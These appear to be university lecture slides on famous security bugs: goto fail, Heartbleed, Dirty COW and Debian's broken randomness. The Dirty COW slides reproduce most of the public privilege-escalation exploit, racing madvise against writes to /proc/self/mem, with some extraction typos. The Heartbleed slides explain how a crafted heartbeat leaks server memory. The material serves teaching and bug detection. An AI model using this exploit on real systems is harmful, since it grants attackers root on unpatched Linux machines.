Real World Bugs

Dongdong She

*Some slides are borrowed from Baishakhi Ray
Today’s bug showcase
Apple “goto fail” bug

- CVE-2014-1266 affected Apple iOS 6.x before 6.1.6 and 7.x before 7.0.6, Apple TV 6.x before 6.0.2, and Apple OS X 10.9.x before 10.9.2
- Completely breaks SSL/TLS security: allowed a man-in-the-middle attacker to eavesdrop/modify SSL/TLS connections from MacOS/iOS devices.

Untrusted routers/Wifi hotspots/etc.
Apple “goto fail” bug

```c
if ((err = SSLFreeBuffer(&hashCtx)) != 0)
    goto fail;

if ((err = ReadyHash(&SSLHashSHA1, &hashCtx)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &clientRandom)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &serverRandom)) != 0)
    goto fail;
if ((err = SSLHashSHA1.update(&hashCtx, &signedParams)) != 0)
    goto fail;
    goto fail;
if ((err = SSLHashSHA1.final(&hashCtx, &hashOut)) != 0)
    goto fail;

err = sslRawVerify(ctx,
    ctx->peerPubKey,
    dataToSign,
    /* plaintext */
    dataToSignLen,
    /* plaintext length */
    signature,
    signatureLen);

if(err) {
    ssslErrorLog("SSLDecodeSignedServerKeyExchange: sslRawVerify "
        "returned td\n", (int)err);
    goto fail;
}

fail:
    SSLFreeBuffer(&signedHashes);
    SSLFreeBuffer(&hashCtx);
    return err;
```
How to detect bugs like “goto fail”?

- Better unit testing
- Check unreachable code, pay attention to compiler warnings (clang supports `-Wunreachable-code`)
- Dynamic analysis
  - Perform adversarial testing
The Heartbleed Bug

- Found in OpenSSL library in 2014 (CVE-2014-0160).
- Caused by a missing bounds check before a memcpy() call.
- The bug allows stealing:
  - Primary key material: secret keys used for X.509 certificates
  - Secondary key material: user names and passwords
  - Protected content: personal and finance details like instant messages, emails and business critical documents.
  - Collateral: other details in the leaked memory content such as memory addresses, etc.

Any information protected by the SSL/TLS encryption is under threat!!
The Heartbleed Bug: Who got affected?

• Open source web servers like Apache and nginx (the combined market share of the active sites on the Internet was over 66% according to Netcraft's April 2014 Web Server Survey).

• Email servers (SMTP, POP and IMAP protocols), chat servers (XMPP protocol), virtual private networks (SSL VPNs), network appliances and wide variety of client side software that use updated OpenSSL.

• Some operating system distributions that have shipped with potentially vulnerable OpenSSL version:
  • Debian Wheezy (stable), Ubuntu 12.04.4 LTS, Fedora 18, FreeBSD 10.0, NetBSD 5.0.2, OpenSUSE 12.2
HOW THE HEARTBLEED BUG WORKS:

SERVER, ARE YOU STILL THERE? IF SO, REPLY " POTATO " (6 LETTERS).

User Meg wants these 6 letters: POTATO.

User needs page about 111 pages. Requesting server records with master key 511369567124.

User wants page about 111 pages. Requesting server records with master key 511369567124.

POTATO

SERVER, ARE YOU STILL THERE? IF SO, REPLY " YAM " (500 LETTERS).

User Meg wants these 500 letters: YAM. User needs the "shared connections" page. The administrator wants to set server's master key to "14053539534". Request wants page about 111 pages. Requesting server records with master key 511369567124.

User wants page about 111 pages. Requesting server records with master key 511369567124.

YAM: User needs the "shared connections" page. The administrator wants to set server's master key to "14053539534". Request wants page about 111 pages. Requesting server records with master key 511369567124.

User wants page about 111 pages. Requesting server records with master key 511369567124.
The Heartbleed Bug: TLS Heartbeat

• The bug lies in OpenSSL's implementation of the TLS heartbeat extension
  • A keep-alive feature in which one end of the connection sends a payload of arbitrary data to the other end
  • The other end sends back an exact copy of that data to prove everything's OK.

```c
struct
{
    HeartbeatMessageType type;
    uint16 payload_length;
    opaque payload[HeartbeatMessage.payload_length];
    opaque padding[padding_length];
} HeartbeatMessage;
```

The heartbeat message in C
The Heartbleed Bug: TLS Heartbeat

• The HeartbeatMessage arrives via an SSL3_RECORD structure (a basic building block of SSL/TLS communications). length is how many bytes are in the received HeartbeatMessage and data is a pointer to that HeartbeatMessage.

```c
struct ssl3_record_st
{
    unsigned int length;
    unsigned char *data;
} SSL3_RECORD;
```

Key field in SSL3_RECORD

how many bytes are in the pointer to that HeartbeatMessage
The Heartbleed Bug: TLS Heartbeat

```c
struct ssl3_record_st {
    unsigned int length;
    unsigned char *data;
} SSL3_RECORD;

The heartbeat message in C

struct HeartbeatMessage {
    HeartbeatMessageType type;
    uint16 payload_length;
    opaque payload[HeartbeatMessage.payload_length];
    opaque padding[padding_length];
} HeartbeatMessage;

So, the SSL3 record's data points to the start of the received HeartbeatMessage and length is the number of bytes in the received HeartbeatMessage.

Meanwhile, inside the received HeartbeatMessage, payload_length is the number of bytes in the arbitrary payload that has to be sent back.

Key field in SSL3_RECORD
The Heartbleed Bug: crafted message

1. An attacker sends a 4-byte HeartbeatMessage including a single byte payload (correctly acknowledged by the SSL3’s length record).

2. The attacker lies in the payload_length field to claim the payload is 65535 bytes in size.

3. The victim ignores the SSL3 record, and reads 65535 bytes from its own memory, starting from the received HeartbeatMessage payload, and copies it into a suitably sized buffer to send back to the attacker.

4. It thus hoovers up far too many bytes, dangerously leaking information as indicated above in red.
Heartbleed allows extraction of usernames and plain passwords!!
The Heartbleed Bug: How can you automatically detect?

- Random structural fuzzing
  - Takes grammars describing packet structures as inputs
- Taint analysis
  - Which variables can get affected by untrusted user input?
Dirty COW (Copy-on-write)

- A computer security vulnerability for the Linux kernel that affects all Linux-based operating systems including Android.

- It is a local privilege escalation bug that exploits a race condition in the implementation of the copy-on-write mechanism.
  - The bug has been in Linux kernel since September 2007, and has been actively fixed after October 2016.

- Although it is a local privilege escalation bug, remote attackers can use it in conjunction with other exploits that allow remote execution of non-privileged code to achieve remote root access on a computer.
Dirty COW

map=mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("mmap %zx\n\n", (uintptr_t) map);

/*
You have to do it on two threads.
*/

pthread_create(&pth1, NULL, madviseThread, argv[1]);
pthread_create(&pth2, NULL, procselmmemThread, argv[2]);

/*
You have to wait for the threads to finish.
*/

pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
return 0;
void *procselmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    /*
     * You have to write to /proc/self/mem : https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c1
     * The in the wild exploit we are aware of doesn’t work on Red Hat
     * Enterprise Linux 5 and 6 out of the box because on one side of
     * the race it writes to /proc/self/mem, but /proc/self/mem is not
     * writable on Red Hat Enterprise Linux 5 and 6.
     */
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<100000000;i++) {
        /*
         * You have to reset the file pointer to the memory position.
         */
        lseek(f,(uintptr_t) map,SEEK_SET);
        c+=write(f,str,strlen(str));
    }
    printf("procselmem %d\n\n", c);
}
void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<100000000;i++)
    {
        /*
        You have to race madvise(MADV_DONT NEED) :: https://access.redhat.com/security
> This is achieved by racing the madvise(MADV_DONT NEED) system call
> while having the page of the executable mmapped in memory.
        */
        c+=madvise(map,100,MADV_DONT NEED);
    }
    printf("madvise %d\n\n",c);
}
Dirty COW

MADV_DONTNEED
Do not expect access in the near future. (For the time being, the application is finished with the given range, so the kernel can free resources associated with it.)

After a successful MADV_DONTNEED operation, the semantics of memory access in the specified region are changed: subsequent accesses of pages in the range will succeed, but will result in either repopulating the memory contents from the up-to-date contents of the underlying mapped file (for shared file mappings, shared anonymous mappings, and shmem-based techniques such as System V shared memory segments) or zero-fill-on-demand pages for anonymous private mappings.
Dirty COW

1. Time of Check to Time of Use (TOCTOU)
2. TOCOU bug in real life
   - Ticketing system flaw in Hong Kong M+ museum
3. Race Condition
4. Race Conditions in Dirty Cow

Race condition between COW copying and madvise results in ignoring the RDONLY bit
How to detect concurrency bugs?

• Static analysis results in large number of false positives
  • Can only detect simple locking discipline violations reliably

• Dynamic analysis
  • Instrument source code, perform lockset and happens before analysis
  • Must try different inputs and scheduler combinations to trigger races
Debian randomness fiasco

OS randomness src: /dev/random in linux

Other randomness sources: pid, uninitialized memory content, etc.

OpenSSL PRNG

Random bytes
Debian randomness fiasco

RAND_poll() {
    char buf[100];
    fd = open("/dev/random", O_RDONLY);
    n = read(fd, buf, sizeof buf);
    close(fd);
    RAND_add(buf, sizeof buf, n);
    ...
}
RAND_add (.....) {
    ...
    MD_Update(&m,buf,j)
}
Debian randomness fiasco

```c
int getRandomNumber()
{
    return 4; // chosen by fair dice roll.
    // guaranteed to be random.
}
```